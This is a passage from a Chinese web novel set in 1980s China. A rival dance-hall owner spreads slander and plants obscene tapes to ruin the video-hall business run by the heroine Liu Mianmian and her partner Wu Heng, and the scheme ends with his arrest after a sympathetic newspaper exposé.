一些日常用品俞婉已经准备了,柳绵绵又给买了好几大罐的润肤油和芦荟胶,西北那边太阳晒还干燥,防晒保湿非常重要。 其他的,那边蔬菜应该也很缺乏,她准备等沈维舟到那边了,再给他寄些蔬菜罐头什么的。 几天时间一晃眼就过去了,俩人腻歪了几天,也不得不面对分离。 这天一大早,一家人一起把沈维舟送到了火车站。 这次研究所一共有十个人一起过去,站台上站满了前来送行的家属。 俞婉叮嘱过沈维舟后,就拉着沈伯康和刘婶他们一起站到了一旁,把时间留给小两口。 沈维舟低头看着柳绵绵,视线在她漂亮的眉眼间流连,好像怎么也看不够的样子,半晌,他才说:“我争取半年内就回来,你不要来找我,路上不安全,西北的生活环境也不好。” 他当然想要早点看到媳妇儿,不过一想到时下的治安环境,女同志出门确实不安全,而且西北条件艰苦,他也不想柳绵绵跑去那边吃苦。 柳绵绵明白他的意思,嘴上答应:“行,都听你的。” 西北她肯定是要去的,她可是还记着呢,沈维鸿这个原书男主也在西北。他的专业和沈维舟相同,哪怕因为之前的事情,进不了核心部门,估计也是在同一个地方的。到时候俩热碰上了,沈维舟这个炮灰也不知道会不会受影响,不去看看她肯定是不放心的。 再说穿过来以后一直就待在南城,她其实也很想趁这个机会多看看这个年代的华国各地。 不过,既然沈维舟不放心她,她也没必要这个时候说出来让他担心。 火车已经到站,带队的组长催大家上车,沈维舟拎起行李袋,视线没有离开柳绵绵,沉声说:“那我走了。” 柳绵绵忽然说:“你低下头,我有句悄悄话要同你说。” 沈维舟依言低了低头,柳绵绵凑过去飞快亲了他一口,随即又马上拉开距离,说:“记得想我。” 车站上人来人往,除了沈家人,倒是没有其他人注意他们。 沈维舟深深看她一眼,哑声应道:“好的。”说完转身大步朝火车走去。 柳绵绵他们一直等到火车缓缓开动,看着沈维舟在车厢里招手,随后又被车厢带着渐渐远去,直至再看不见,这才转身离开。 之后几天柳绵绵就在家里琢磨到时候给李耀明推荐哪些演员,有时候也给满南城乱窜找销路的余国栋出出主意。 这天一早,刘婶从外面回来,交给柳绵绵一封信:“给维舟的,也没个名字地址,不知道谁寄来的。” 柳绵绵就给收起来了,回头给沈维舟寄东西的时候顺便寄过去就行了。 结果俞婉和沈伯康下班回来时,也各自带回来一封信,俩人脸色都不太好看,不过把信交给柳绵绵的时候,却都先安慰了柳绵绵一番:“这信里就是胡说八道,我们带回来,就是想让你看看,知不知道是谁,后面怎么处理?” 柳绵绵看信封上的字和之前寄给沈维舟的那封是一样的,心里有了些猜测,取出信纸看了两眼,果然不出所料,两封信的内容也是一模一样的,说的都是她和“混混”出身的伍衡关系暧昧的事情。 不用猜,写给沈维舟的信多半也是一样的内容。 俞婉听说信还寄给了沈维舟,顿时紧紧皱起了眉头:“这个人明显是想破坏你和维舟的感情,可你们平时都挺忙的,接触的人也不多,到底是谁这么坏心?” 柳绵绵其实也在想这个问题。 要说得罪人,她得罪的人确实不多,主要就是柳志刚一家子和沈文山一家子,但是这两家人对俞婉和沈伯康的性格都有所了解,应该不会干这种明知道没什么作用的蠢事,所以更大可能是对他们不那么了解的人。 而从信的内容看,比起自己,对方似乎对伍衡反而更了解。 柳绵绵想了想,觉得最大的嫌疑人是大都会舞厅的孙洲。 她虽然没和对方正面接触过,但听说过不少对方的事情,这人不但不做正经生意,还不干正经事。 为了打击她和伍衡的合作,居然造起了他们的黄谣。 当然,这只是她的猜测。 柳绵绵不是坐以待毙的性格,既然对方都舞到她面前来了,她肯定是要反击的。 不过,在这之前,她先联系了南城晚报的记者小赵。 之前工人路服装店开业的时候,就是这位赵记者偶然拍的图片新闻,无形中对他们进行了宣传。后面服装店火爆,赵记者又上门做了采访。再后来,巷子口炸鸡店、明星录像厅的,都被赵记者采访过,一来二去的,柳绵绵也就跟对方熟悉了。 她后面在南城晚报做广告,也是对方帮忙牵线的。 这一次,柳绵绵联系对方,说了自己的想法以后,赵记者考虑了下,就答应了。 而同一时间,大都会舞厅里,孙洲正拎着手下办事的小弟臭骂:“是不是你那信写得不信,不然沈家人收到信怎么一点反应也没有?玛德,老子花钱养了你们这一帮废物,干点事都干不好。” 小弟点头哈腰,等孙洲骂爽了,才提醒说:“没准人家已经在家里闹起来了,咱们也不知道啊,就算是要跟伍衡拆伙,应该也没那么快。” 孙洲眯缝了下眼睛,指指他:“你说的不错,这确实是太慢了,不管了,你让他们去明星录像厅,好好的闹一闹。” 小弟赶忙答应着出去了。 孙洲插着腰,自言自语:“玛德,一个没爹没妈的混子,还想拍电影,真是笑话。” 第86章 反击 十几家明星录像厅,散落在南城的各个区域,短短几个月时间,已经成为附近居民业余娱乐生活中不可缺少的部分。 如今各个院子、筒子楼,吃完晚饭,但凡有人吼一声“走,录像厅看电视剧去”,一定会有一大堆人响应。 家里条件一般的,就自己带个水壶,条件不错的,水壶之外再带点瓜子花生什么的,这些录像厅都是不管的。当然,条件更好一点的,什么都不带,录像厅小卖部的瓜子颗颗饱满,味道比供销社卖的还好吃,再来一瓶冰冰凉的汽水,堪称看剧的最佳搭档。 最重要的是,明星录像厅管理得很好,播放厅非常干净,零食可以随便带,但是抽烟是需要出来去专门的空地抽的,所以里头空气一点也不混浊,这对于除老烟枪之外的市民来说可太友好了。 不过,这天夜里,所有的明星录像厅同一时间迎来了一批奇怪的顾客,他们进门时低头缩肩,一副生怕被人注意到的样子,买完票后,没有给琳琅满目的小卖部一个眼神,脚步飞快地进了播放厅。 进播放厅以后,他们东张西望,先是感慨了一番播放厅的环境,然后一改之前畏畏缩缩的模样,开始热情地和附近的客人攀谈。 话题很快就引到了明星录像厅的老板身上,往往以“哎,你们是不知道啊,这个伍衡当初……”、“你说谁能想到呢,一个小混混居然能……”、“这伍衡还是能耐啊,别的能耐不说,忽悠女人的能耐……”之类的话作为开场白,后面就是经过添油加醋后关于伍衡混混出身、挣钱不干净以及不知道怎么勾搭上领导家儿媳妇才把生意做得这么大等等。 嚯,这听着可比电视剧还劲爆,尤其还是身边人身边事。 往日里大家上录像厅,满心满眼都是为了看电视剧,今天不同,今天都被录像厅老板的“故事”吸引了,尤其是里头还牵扯到了桃色新闻。 然后,这些事又被看录像的人传播出去,不出三天,就传得纷纷扬扬了。 甚至就连李耀明都听到了风声,跑到一号店来问伍衡知不知道这事儿。 伍衡知道吗? 伍衡当然知道。 在他眼皮底下发生的事情,他能不知道吗? 不过伍衡没回应,而是转移话题问李耀明:“跟电影厂谈得怎么样?” 电影要在内地“取景”,自然不可能让港城的导演和班底千里迢迢到内地来拍摄,一则不方便,二则成本也太大,所以柳绵绵给李耀明出了个主意,让他找内地的电影厂合作。 改开后国营电影厂两极分化,有的厂子通过内部改革,开拓创新,蒸蒸日上,有的厂子固守原来的思维,拍的都是一些陈腔滥调,不受欢迎,效益自然每况愈下,甚至都快要倒闭了。 柳绵绵知道南城电影厂其实就是这每况愈下中的一员。 电影厂的领导班子不行,思维僵化不说,内部小团体斗争非常激烈,也就再过一两年吧,厂子就得破产倒闭。 但是偏偏,南城电影厂其实又出了不少人才。 电影厂倒闭之后,职工们纷纷另谋出路,其中就有一些人通过种种途径依旧活跃在影视行业,并且成为了名导演、名演员。 现在南城电影厂还没有倒闭,里面设备是现成的,人才也是现成的,不正是薅羊毛的好时候? 所以柳绵绵给李耀明支了个招,让他找省里的统战部门和**门,给他开一个口子,借南城电影厂的设备和人来用一用。 李耀明是港商嘛,眼下全国上下搞经济,招商引资是地方上的重要工作,港商还是很受优待的。 再说本来南城电影厂也已经半死不活了,设备空着,人也闲着,给李耀明拍电影,人家还给租金和工资呢,何乐而不为? 所以,哪怕李耀明提出苛刻的条件,要求电影厂那些蠢蠢欲动的领导不能干涉他们的工作,上头也答应了。 伍衡这一句就是纯粹转移话题的废话,就这情况,还用谈吗,根本不用谈,电影厂也得积极配合他们工作。 但是李耀明竟然皱了皱眉,说:“胡小姐想要演女二号,柳小姐也推荐了人演女二号,我现在很头疼的啦。” 胡丹丹长得有几分像已故的港城影后樊湘玉,李耀明想带她回港城,捧她做明星,到时候就用小樊湘玉的名号出道。 但是胡丹丹对南边乃至港城有一种莫名的恐惧,总觉得那些地方都很乱,她想出名,却又怕自己的人身安全得不到保障。 如今李耀明要在内地拍电影,胡丹丹就提出来,至少要给她一个女二号,她要先出名,再去港城。 李耀明本来觉得女二号不是什么问题,但是柳绵绵给他推荐了电影厂演员董青玉,李耀明见过以后就发现,这个人非常贴合女二号的角色,那个角色就仿佛为她量身定做一般。 李耀明非常的纠结。 换了从前,他肯定会选择胡丹丹,毕竟董青玉明确表示,哪怕这部片子大卖,她也不会辞掉电影厂的工作去港城,捧红她对李耀明来说并没有什么好处。 但是现在他手里资金不太充裕,自然希望尽最大可能把这部电影拍好,想要拍好电影,演员选择自然非常重要。 伍衡拍拍他的肩膀:“老祖宗有一句话叫事缓则圆,别着急,男一号女一号不是还没从港城过来吗,还有大把时间呢,缓一缓,没准难题就自己解开了。” 李耀明表情惊讶:“伍先生,你看上去一点都不像能说出这种话的人哎。” 伍衡:“……” 所以他看上去像文盲是吗? 李耀明没把伍衡的话放在心上,不过伍衡说的也对,男一号女一号还在路上不说,他这边还得和导演一起勘景呢,事情多着呢,这件事既然头疼,回头再想也是可以的。 流言愈演愈烈,明星录像厅的生意自然也受到了影响,上座率比以往减少了三成,录像厅的员工们坐不住了,纷纷找到各家店的“店长”,让他们向老板反应,想办法解决这个问题。 毕竟录像厅的工资是底薪加绩效的方式,上座率和他们的收入息息相关。 虽说少了三成顾客,他们的工资其实也还是挺高的,但是谁又会嫌钱多呢? 尤其是在明知道自己能拿更多工资的情况下,眼睁睁少了这么多,就更心疼了。 也有心思不稳的,觉得这么下去,明星录像厅的生意肯定会越来越差,于是干脆开始接触大都会录像厅,想要趁早“弃暗投明”。 这天上午,位于永安路的明星录像厅便利店里,孙博大口大口吃完烧饼,又咕嘟咕嘟喝完搪瓷缸的豆浆,完了打了个饱嗝,叹息说:“也不知道这有吃有喝的日子还能混多久。” 旁边慢条斯理吃着早饭的罗承志闻言看他一眼:“你叨叨什么呢,伍哥是什么人,咱们还不知道吗,那些都是编的瞎话,都是假的。这谣言还能长久啊,等这事儿过去了,咱们这生意自然会好起来。” 孙博眼神闪了闪,摇头说:“嗐,人家顾客谁管你真的假的,人家就知道明星录像厅老板钱来路不正还搞破鞋,这严打可还没过去呢,小偷小摸都可能吃花生米,何况是这种?再说,咱们也不能百分百保证这就是假的啊,别到时候再牵累我们。” 罗承志又看了他一眼,没吭声。 孙博以为对方被自己说动了,看了眼门外,确定没有人经过,才说:“你还是伍衡的小兄弟呢,听说当初他妈扫厕所那会儿,你家还偷偷给人送过粮食吧?这就等于是有救命之恩了吧,结果呢,他开舞厅的时候可没喊你过去帮忙,后面开录像厅,那么多店呢,他就给你安排了这么个小便利店。咱们这儿的收入跟一号店那种大店可是天差地别。” 他叹了口气,说:“知人知面不知心呐!” 罗承志刚好吃完早饭,把饭盒收拾了,跟着嘀咕了声:“确实,知人知面不知心。” 孙博以为他听进去了,更来劲儿了,追着他跑到了洗手池旁边,压低声音:“大都会孙老板的远房堂弟和我是一个村子的远房亲戚,他前两天找到我,说只要咱们给录像厅搞点破坏,直接给三百块钱,还能马上去大都会录像厅上班,工资在原有基础上加三十。” 罗承志甩了甩洗好的饭盒,顺着他的话问:“搞什么破坏?” 孙博以为他心动了,笑着拍拍他的肩膀,声音压得更低了:“把录像厅都搞搞坏,再混点‘有料’的录像带进去。” 罗承志手中动作一顿,随即很快点点头:“行。” 他把洗好的饭盒收进柜台的抽屉里,转身出门:“你先干着,我去买张报纸。” 罗承志高中毕业,有个在孙博看来完全没必要的习惯:每天都要去保亭买最新的报纸。 孙博确信没人会拒绝三百块钱加每月多三十工资的条件,至少他自己是立马就答应了的,罗承志可能要考虑一下,但孙博相信,他最终也会答应的。 谁会跟钱过不去呢? 孙博不知道的是,罗承志快步走到报亭买了一份南城晚报,直接就翻到第三版,看到上面大篇幅的深度报道《热衷第一个吃螃蟹的“伍老板”》,他笑了起来,飞快折起报纸,往最近的派出所跑过去。 二十几分钟后,孙博正躲在工作间里“搞破坏”,被突然出现的公安当场抓获,与他那些“有料”的录像带一起,被送进了派出所。 与此同时,好几家录像厅都发生了类似的事情,而南城剧团的家属院里,胡家的房门也被敲响,胡母打开门,发现门外站着两位公安。 “胡丹丹涉嫌造谣诽谤他人并引起严重后果,请她随我们走一趟。”公安说道。 听见声音走出来的胡丹丹顿时脸上血色尽褪。 第87章 空前的客流量 孙洲其实之前根本不认识伍衡,但巧合的是,他从广市二姑家回来,起了开舞厅的想法,偏偏就在他开业前十多天,伍衡的舞厅先开业了。 就跟费心巴力做了个清一色,结果却被人截胡了一样,非常的难受。 孙洲就记住伍衡了。 后面两家舞厅少不得要被人拿来比较,伍衡那边又总是能搞些花里胡哨的噱头,生意未必比他好,但名声却比大都会要好听。 跟着开录像厅,除了挣钱,其实孙洲更多的也是抱着找茬抢生意的心态。 不过,等到录像厅开起来以后,他才发现这玩意儿是真挣钱啊! 别看舞厅挣得也不少,但是舞厅的投资大、开支大呀,录像厅就不一样了,一台电视机、一台录像机就是最大的投入了,完了就是房子和桌椅板凳,但是一个播放厅一晚上就能收回来百多块钱,那点投入一个月就挣回来了。 孙洲双腿翘在老板桌上,手里哗啦啦翻着这个月的账册,心里盘算着明星录像厅被整垮了以后,自己再把那十几家店盘下来,至少能再多挣一倍的钱。 二姑家的表哥不过就是在广市弄了个小作坊,倒是成天在他面前炫耀每天能挣多少多少,以为他在南城就挣不到?好歹也是省城呢,要真想挣钱,还不到处都是路子?还不用每天劳累得跟孙子似的。 孙洲想着,回头再去广市,他可得去表哥面前显摆回来。 门外忽然想起一阵急促的敲门声,孙洲被打断思绪,有些不耐烦,把账本往桌子上一扔:“进来。” “老板……”舞厅经理青白着一张脸,颤声喊了一声,“公、公安同志找你。” 两位身着橄榄绿色警服的公安同志迈步走了进来,沉声道:“孙洲是吗,你涉嫌造谣诽谤、组织传播**物品,跟我们走一趟吧。” …… 一号店开业以后,瞿立辉在工作人员的建议下,顺利包了私人厅跟对象章念念求了婚,最近已经开始在筹备婚礼的事情了,不过忙碌的同时,他们还是会见缝插针,抽空去录像厅看电视剧消遣。 但是最近社会上有很多关于明星录像厅的传言,说得非常不好听,有说老板搞破鞋的,有说录像厅里面播放那种录像的,传得纷纷扬扬的。 瞿立辉和他对象现在是明星录像厅的忠实粉丝,自然听不得这种话,尤其今天一向跟他不太对付的一个同事,还借此讽刺他找了个腌臜地方求婚。 瞿立辉握着拳头给了对方一拳。 同事身材瘦小,倒是不敢冲过来回手,但是他呸地啐了一口,讽刺说:“瞿立辉,你这是被我说中了恼羞成怒吧?天天在那种地方混,看些搞破鞋的录像,装得倒是道貌岸然的样子,我呸。” 瞿立辉抡起拳头就要再揍,同事邹浩赶紧拉住他:“犯不着,犯不着。” 旁边一位老大姐也劝:“哎哟,不就是一个录像厅吗,其实跟我们关系也不大的,为这八竿子打不着的事情打架,真没必要,都是同事,大家和和气气的哈。” 瘦小同事嘲讽:“大姐你觉得八竿子打不着,人家可觉得那是快乐窝呢。”语气和表情都满满的暗示和暧昧。 别说,门外看热闹的其他科室同事看向瞿立辉的眼神还真是有些不一样了。 都听说过瞿立辉平时喜欢跳舞和看录像,没想到,是看“那种”录像啊! 要是普通老百姓有点这种“兴趣爱好”,只要不被抓到,其实也没什么,但是他们不同,他们这种单位,这种“兴趣爱好”那就是作风问题,是会影响升职的。 邹浩:“小曹你乱说什么,明星录像厅我也去过,根本不是像你说的那样,你肯定是搞错了,你说的是大都会录像厅吧,他们那边才乌烟瘴气呢。” 就在这时,外头跑进来一个小姑娘,小姑娘手里举着张报纸,边跑边说:“瞿哥,邹哥,你们常去的那家录像厅上报纸了!啊啊啊,你们肯定不知道,录像厅的老板竟然是我小时候的邻居,他们家可惨了,我呜呜呜,我看报纸都看哭……” 哽咽声突兀地停顿了下,小姑娘诧异瞪着眼前的景象:“呃,怎么了?”她好像来得不是时候? 老大姐先反应过来,伸手拿过报纸:“哎哟,录像厅居然还能上报纸,我瞧瞧……” 门外看热闹的人也赶紧去各自办公室找报纸:“南城晚报是吧,快去找来看看,到底登了什么……” 原本他们对录像厅是没什么兴趣的,但是小瞿和小曹因为录像厅都打起来了,他们还真是被勾起了兴趣。 几分钟后,人手一张报纸又聚回到了门口,有个特别感性的女同志眼眶都哭红了:“这伍老板的经历也太坎坷了,父亲下放,母亲被批,后面又双双去世,他一个人跑去南方,找了个搬砖的活儿,起早摸黑干了三个月,工钱又被包工头给坑了……哦哟,他真的,太不容易了……好容易有人看到他的努力,愿意跟他合伙,又被人泼脏水……太不容易,真的太不容易了。” 其他人默默点头,可不是。 老大姐叹了口气,也说:“我说小曹啊,没有调查就没有发言权,你没去过录像厅吧,那是不好因为社会上的那些谣言就说那些话的,人家记者走访了那么多人,总不能人人都说谎吧?八小时之外,有点个人爱好没什么的,小瞿花钱去录像厅求婚,说明他善于接受新事物,你更不应该那么讲他的哦。” 小曹脸色一阵青一阵白。 他原本还想着,瞿立辉动了手,怎么的也得吃个批评,他也不算白挨了这拳。 现在看来,回头主任不批评他都算好的了,毕竟这些老娘们儿要都替瞿立辉说话,主任肯定是会听的。 可谁让那篇报道写得实在太感人又太振奋人心了呢? 但凡看了报道的人,都得叹一声伍衡不容易,都得夸一句明星录像厅办得好。 同一时间,城市的角角落落,无数人看到了这篇报道。 因为听到流言而没再去录像厅的大妈,戴副老花镜红着眼睛看完报道后,一拍大腿就说:“哎哟,咱家可好久没去录像厅看电视了,那个哑巴媳妇儿嫁进婆家以后怎么样,我可一直记挂着,吃完晚饭咱们就去吧。” 被家长勒令不许再去录像厅的少年挥舞着报纸跑回家:“妈,妈,明星录像厅不是不良场所,老师让我们写一篇读后感,让我们学习永不放弃、不断创新的精神呢!这周末我能不能去看三集电视剧,不,两集也行啊?” 穿喇叭裤的时髦小青年往对象手里塞了份报纸:“你看看这篇报道,我早说了,明星录像厅真不是什么不正经的地方,就跟电影院差不多,你不放心我去,今晚就跟我一起去呗?” …… 当天夜里,全城十几家明星录像厅迎来了空前的客流量。 而与此同时,距离这些店并不算太远的大都会录像厅却都大门紧闭,有熟客吃了闭门羹以后到处打听怎么回事,被人告知大都会录像厅由于涉嫌传播**物品被勒令停业整改了。 熟客一听赶忙撒丫子就跑回家了。 听说老板和工作人员都被逮去派出所了呢,他们这些“顾客”也不知道会不会受牵连,反正他是准备以后都不去大都会录像厅了。 看那种录像是挺快活的,可他也不想为了这么点快活就去坐牢啊! 回头要被定个流氓罪,说不准还得吃花生米呢! 因为报纸的传播,也因为大都会录像厅被封,一连好多天,明星录像厅的生意都非常红火,比开业搞活动的时候也有过之而无不及。 也因为之前流言传得纷纷扬扬,社会上听说过明星录像厅的人非常多,导致这篇报道出来以后,反响也特别的大,甚至南城电台还专门做了一期节目,讨论这件事。 最后的结论是,流言伤人,一位善良正直、历尽艰苦的创业者差点就因为莫须有的流言再次遭受到不公平的待遇,呼吁大家自觉抵制这种不良风气,为勇于拼搏的时代弄潮儿创造更好的营商环境。 “没想到伍先生的经历如此坎坷,伍先生,你有没有想过把这些经历拍成电影,港城很多片子都是这样的啦,好多大佬都授权拍过这种电影的,你要是想拍,你授权给我呀,保证拍好,保证卖座的啦!” 李耀明没想到自己的新合伙人看着年纪轻轻,人生经历居然如此跌宕。 当然,作为生意人,他第一时间想到的就是挣钱。 伍衡抽了抽嘴角,直接拒绝:“我不想拍电影,再说我也不是什么大佬。” 要不是孙洲那孙子搞事,他其实也不愿意把自家那点事闹得人尽皆知。 当然,柳绵绵说的也不错,这是个很好的为他自己正名的机会。 他不在意别人怎么看他,但是他希望有人能看到他父母曾经经受的一切。 有这篇报道就够了,至于拍电影,伍衡觉得李耀明简直是异想天开。 李耀明倒也不是那种没有眼力见的人,虽然遗憾,倒是没有继续劝。 毕竟目前来说,他能把《柳娘与书生》折腾出来就不错了。 想到这个,李耀明又得叹气了,胡丹丹竟然被公安抓走了。他找人了解了一下,内地这几年一直在严打,胡丹丹是肯定要坐牢了。再说,哪怕胡丹丹不坐牢,她恶意造谣他的两位合伙人,也不可能再让她拍这部电影了。 所幸电影厂那边一直谈得挺顺利,外景地也看得差不多了,主演这一两天也能到了,电影倒是马上就能开机了。 女二号的演员,他也不用纠结了。 而且,通过这次的事情,李耀明倒是更加庆幸自己找了柳绵绵做合伙人。 港城生意不好做,内地生意其实也不好做啊,开个舞厅录像厅而已,造谣、举报、给录像带里“加料”……要不是柳绵绵他们早就防备着,差点就被陷害去坐牢。 据说那个大都会舞厅的老板,家里有南城公安局的关系,要是换个人,哪怕防备着,没准也奈何不了他。 但是沈家出手,倒是直接把南城公安局那位副局长也给摁死了,人都已经被纪检部门请去“喝茶”了。 大都会那位老板自然也不可能出来了。 李耀明深感柳绵绵背后靠山的强大,感觉有这么个合伙人,自己在内地投资底气都足了许多。 靠在躺椅上的柳绵绵只感觉李耀明看向自己眼神异常的火热,无语道:“李生,你要相信华国政府,只要遵纪守法,国家会维护每一位纳税人的权益。” 李耀明这阵子东奔西走,把电影的前期工作都基本跑下来了,柳绵绵就邀请他来家里吃个晚饭,算是犒劳犒劳对方,顺便也把他介绍给俞婉。 别看李耀明被骗了不少钱,但瘦死的骆驼比马大,他兜里其实还有钱着呢,只不过就是刚被骗不久,不敢轻易投资罢了。 柳绵绵敢打赌,他其实一个人投资也能把《柳娘与书生》拍出来,只不过就是吓破了胆,不太敢花钱了,才舍得分了那么多给她和伍衡,倒是便宜了他们。 俞婉的表妹是招商部门的,这位表姨据说最近为了投资指标,愁得夜里都睡不着觉,柳绵绵觉得,只要使点劲儿,李耀明这里肯定是还能挤出点投资的。 李耀明全然不知这是一场鸿门宴,郑重表示自己相信政府和国家,也相信两位靠谱的合伙人,还再三向进进出出忙碌做饭的刘婶表示感谢。 导致刘婶都忍不住悄悄问柳绵绵,这么憨的人真能做生意吗,不会被人骗? 柳绵绵表示,姜还是老的辣,刘婶真是一眼就看透了李耀明的本质。 俞婉是和表姨一起回来的,不过虽然是鸿门宴,但是柳绵绵也只是当了个中间人,给双方介绍了下,表姨也是个很有分寸的人,席间也提投资的事情,大家吃了个愉快的晚饭。 吃完饭又坐着闲聊了会儿,柳绵绵才和俞婉一起把人送了出去,一直把人送到巷子口,婆媳俩才手挽手地往回走。 “也不知道维舟那边怎么样了。”俞婉叹气说。 沈维舟到达西北后就给家里打了电话,也说了那边的一些情况,当然,都是挑着好的说的,比如研究所给安排的单人间,住宿环境不错,比如那边羊肉非常好吃,一点都不膻。 但是柳绵绵知道,那边气候干燥,跟南城截然不同,羊肉不膻,可这年头哪可能有那么多羊肉吃,偏偏那边蔬菜还少,估计平时只能吃萝卜土豆。 当然,她不能这么跟俞婉讲,还得宽慰她:“研究所的后勤保障工作肯定是不错的,吃穿住行应该不用愁,就是工作压力可能大一点,但是维舟是最不怕工作压力的。” 俞婉点点头:“是啊。” 她笑笑:“其实换了前年,甚至去年,我都不敢想维舟能有去西北的时候,他的身体能好起来,简直就像一个奇迹。” 俞婉内心其实觉得,这个奇迹是柳绵绵带来的,因为沈维舟的身体就是结婚以后才好起来的。 对这个儿媳妇,俞婉觉得,真是怎么对她好都不够。 路灯光将俩人的影子拉得长长的,忽然身后响起一阵急促的脚步声,有人在后面喊:“俞婶婶——” 俞婉止住脚步,转身看向从巷子那头匆匆走过来的两个人,看清楚人后,她惊讶道:“志强,你回来啦?” 第88章 柳绵绵同志,坚守底线 柳绵绵被一阵邦邦邦的击打声吵醒,看了眼时间,八点都还没到。她在床上躺了会儿,没过多久,就打着哈欠起了床。 洗漱完出门,就看到王志强的媳妇儿谢红正蹲在水井边锤衣服。谢红笑着跟她打了个招呼,柳绵绵也笑着应了声,进厨房端了早饭出来吃。 昨天夜里和王志强他们一起回了院子后,她和俞婉也没有打扰他们一家子说话,都各自早早回房了。只知道谢红和王志强已经领了证,王志强转业到化肥厂,谢红就跟过来了。 就是不知道,之前还因为退伍的事情说是要分手来着,怎么的就进展到结婚领证了? 不过不管怎么样,人家姑娘愿意千里迢迢地跟着回南城,刘婶和王叔是很高兴的,刘婶抓着谢红的手不知道说了几遍“好孩子”。 早饭吃到一半,余国栋过来了。 他带着几个人在南城转悠了这么久,一开始不知道吃了多少闭门羹,后面慢慢找到些窍门,最近据说收获颇丰,已经和不少单位食堂还有私人饭馆达成了供货协议,加上刘婶和她的老姐妹们开拓的菜市场渠道,罐头厂第一批货的销路算是不愁了。 余国栋这回过来是来告辞的,他准备带着那几个人再去邻省瞅瞅。 柳绵绵给他舀了碗豆浆,又塞了个肉包子进他手里,这才问:“你带出来的几个人,让他们自己去邻省,他们能行吗?” 余国栋其实已经吃过早饭了,不过出门在外,总想省着点,所以早饭就喝了碗稀粥吃了个馒头。既然是妹妹塞他手里的,他也不推,先喝了口豆浆,然后大口咬着包子,边吃边点头:“行啊,怎么不行。” 随即反应过来:“你是有什么活儿要派给我吗?” 柳绵绵笑道:“我准备去一趟南方,然后再去一趟西北,你有兴趣一起去吗?” 余国栋半个包子递在嘴边忘了咬,他知道老幺和人合伙在南边弄了几个批发档口,还准备开个服装厂,也知道妹夫去了西北,她这一路怕是准备先去南边看看生意,然后再去西北见妹夫吧? 想去吗? 当然想去! 他从前可是个连乡里都没怎么去过的庄稼汉,也是这一年的时间,才跑了县城,去了市里,甚至来了南城。 从前没见过外面的世界,只听别人说,完全无法想象外面的世界有多大,等到自己真的去跑、去见识了,才知道外面的世界比自己所能想象的更大、更精彩。 这阵子一直待在南城,这种感受就更明显了,城里的世界和乡下是真的太不一样了。 当然,他们到处跑,自然也听说了更多更外面的事情,比如那个人人都向往、去了就能淘金的南方,他之前就想着,等再挣多一点钱,他就去一趟南方,看看那里的人是怎么做生意的。 哪里想到幸福来得这么快? 而且,不说他自己特别想去看看,就说老幺一个人跑那么远,他也不放心啊,这种时候他这个当哥的不陪着,还能指望谁? 余国栋皱了皱眉,可问题是他们这一趟出来已经挺久了,要是又去南方又去西北,那他等于可能好几个月不能回家了。 柳绵绵看他一眼,没等他开口,直接说:“你可以先回家待个把星期,休整一下咱们再出发。” 听她这么说,余国栋顿时笑得见牙不见眼:“行,那等下周咱们再去。” 这事说定,兄妹俩又说了说罐头厂的事情。 原材料其实还可以再增加一些,像是黄瓜、番茄、蘑菇、青豆、马蹄、梅干菜……反正上辈子柳绵绵在网上见过许多奇奇怪怪的罐头,都可以作为主打产品之外的辅助产品进行尝试的。 余国栋挠挠头,总感觉他们的罐头厂好像在往一个奇奇怪怪的方向发展。 “除了罐头,酱料方面也可以考虑一下,我记得大姨酿的豆瓣酱就特别香,你可以提醒大哥关注一下。” 想想上辈子的国民辣酱品牌、国民榨菜品牌,哪个不是靠那么一两个产品就能撑起一个大企业了? 余国栋最近跑市场跑得多了,这方面倒是也一点就通:“酱料这个确实挺有搞头的,就说酱油吧,这看着不起眼,价格也不高,其实销量非常大,算一算利润其实很厉害的。” 他高兴道:“我回去就和老大商量一下。” 计划有变,还得回去重新安排一下,加上这次回家又待不了几天,出去以后还不知道什么时候能回来,余国栋顿时归心似箭,吃完早饭就急匆匆地走了。 柳绵绵吃完早饭拿了报纸坐到石榴树下看,发现南城晚报开辟了个专栏,专门讨论经济发展中出现新问题新矛盾。 最近闹得最沸沸扬扬的“新矛盾”,当然就是大都会针对明星录像厅的恶性竞争了。 柳绵绵看了下今天的几篇文章,发现都措辞非常严厉,顿时感到非常满意,有了这几篇文章,孙洲和胡丹丹的刑罚估计会更重了。 那俩人,一个蠢一个毒,做事都不择手段,在柳绵绵看来,他们在牢里多待几年,都是造福南城市民了。 “柳同志,你们开了罐头厂啊?”谢红晾晒完衣服,拎了个小板凳坐到柳绵绵旁边,好奇地问。 柳绵绵放下报纸,笑笑:“是乡里办的,我哥他们出了一点钱。” 谢红眼神微闪,不太相信这话。 她刚才磨磨蹭蹭地在靠近餐厅的地方晾衣服,就是为了听清楚一点,分明那个男同志都是听她的,厂子里的事情好像也是要由她来拿主意。 王志强倒是答应了,会想法子给她在国营工厂里面弄个工作,但是他们这一路过来,火车上南来北往的人,她听到了很多消息。比如说很多国营工厂都在走下坡路,有的甚至连工资都发不出来,比如说南边有很多私人的工厂,生意红火得不行,工资开得比国营工厂高多了。 谢红听着就觉得国营工厂其实也没那么好。 何况,就算是进了国营工厂,她没学历没技术的,肯定也只能打打杂。 如果能在私人的厂子里当个管事的,那不比在国营工厂打杂好? 谢红还想再问,刘婶回来了,看见柳绵绵坐那儿,先是一愣:“哎哟,绵绵你起这么早?” 又看见谢红,忙说:“绵绵看报纸呢,谢红你别影响她,过来帮我拔鸡毛,今天没碰见那个拔毛特别干净的小何,另外一个小年轻,干活太毛糙了。” 谢红不太乐意,不过还是站了起来,跟着进了厨房。 刘婶把其他东西都放好,拿了杀好的鸡出来放到搪瓷盆里,又从橱柜里找出把镊子:“你来吧,我这眼神不太好了。”自己坐另一边开始剥豆子。 谢红看着手里的镊子:“这可真讲究。” 刘婶笑了起来:“那是维舟给我弄的,这孩子聪明着呢,哎,也不知道去了西北习不习惯,吃得好不好。” 谢红撇撇嘴,心说老太太可真是不知数,到底谁才是她儿子呢?不过她自然也知道这种话在心里吐槽吐槽也就罢了,说是肯定不能说的,毕竟他们如今住的还是人家的房子呢,这么大的房子。 干活她是不怵的,快手快脚地拔着毛,顺口就问:“妈,柳同志是不是开了个罐头厂,我听她和她兄弟说的,她好像还要在南边开服装厂?哦,对了,之前她兄弟来过,吃了豆浆包子才走的。” 比她还年轻的小姑娘,开口闭口就是一个厂子,谢红是真的羡慕,不过她不觉得柳绵绵是靠自己,肯定还是靠沈家的,听说沈家的老爷子退休前还是部队里的大官呢。 要不是偶然听见战友们调侃王志强,她也不知道原来王志强家里还有这种关系,也不会马上改了主意,答应和他领证了。 她实在是穷怕了。 